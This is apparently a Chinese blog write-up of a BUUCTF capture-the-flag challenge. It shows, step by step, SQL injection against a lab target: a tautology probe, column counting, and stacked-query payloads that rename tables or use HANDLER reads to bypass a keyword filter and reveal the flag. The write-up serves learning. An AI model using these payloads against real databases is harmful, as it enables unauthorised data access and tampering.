BUUCTF-[强网杯 2019]随便注

BUUCTF-[强网杯 2019]随便注

题目

image-20230628102449190

题解

打开靶场,进入到靶场环境

image-20230628102628845

正常的提交数据,可查询出信息

image-20230628102648896

查看源码:

发现sqlmap可能行不通

image-20230628110312634

返回靶场

测试验证是否存在注入

?inject=1' 

image-20230628102746960

出现报错信息

使用万能钥匙,看是否能爆出数据信息

?inject=1' or 1=1--+

image-20230628102850151

成功回显,暴露出了数据信息

判断字段的个数

/?inject=1' order by 3--+

输入3报错,将3换成2,若不报错,则说明该表有2列字段

image-20230628103009930

更换后:

image-20230628103100104

成功回显

判断回显点

image-20230628103135718

发现以上关键字都被过滤掉,无法查询数据。

尝试堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。我们尝试在;结束后继续构造语句,观察会不会一起执行。堆叠注入可以执行任意的语句。

/?inject=1';show databases;	查看全部数据库

image-20230628103247957

查看当前数据库的数据表
/?inject=1';show tables;

image-20230628103356203

查看表中有哪些字段
desc tablename或
show columns from table tablename

image-20230628103539631

注意:表名如为数字时候,使用``引用,否则不能正常查看信息

查看表的字段信息,发现flag,但是我们没有办法查看flag的内容,我们再看看words表中的数据字段

image-20230628103725109

show columns from tablename 查询表中的字段信息(列的信息)

image-20230628103821583

观察发现,我们查出来的数据,可能就是words表当中的数据,我们可以将1919810931114514表改名,改为words,将flag字段改为id,然后在使用万能钥匙爆数据。

首先,正常是查words表的数据,我们先将words表重命名成别的,名字任意。使用可rename改表名或alter

alter命令格式:
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

rename命令格式:rename table 原表名 to 新表名;

其次,再把1919810931114514表改名为words,再把flag字段改为id

最后,使用万能钥匙,爆表的数据

payload:
?inject=1';rename table words to word;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

image-20230628104717462

再次查看数据表:

image-20230628104741736

发现表名已经被修改,然后使用万能钥匙进行爆数据

?inject=1' or 1=1--+

image-20230628104825279

成功获取flag

本题flag为:

flag{
    
    a1a228e9-fc3d-4e3e-97c4-17ee692fedd5}

方法二:

使用handler函数

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

当selecet等关键字被过滤掉时,可尝试使用此方法进行查询

handler tablename open;打开表
handler tablename read firstnext;读取第一行或下一行
handler tablename close;关闭表

本题用法:

payload:
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

image-20230628105705088

成功获取flag

其他方式也可绕过,编码等方式均可

文章不妥之处,欢迎批评指正!

猜你喜欢

转载自blog.csdn.net/rumil/article/details/131433119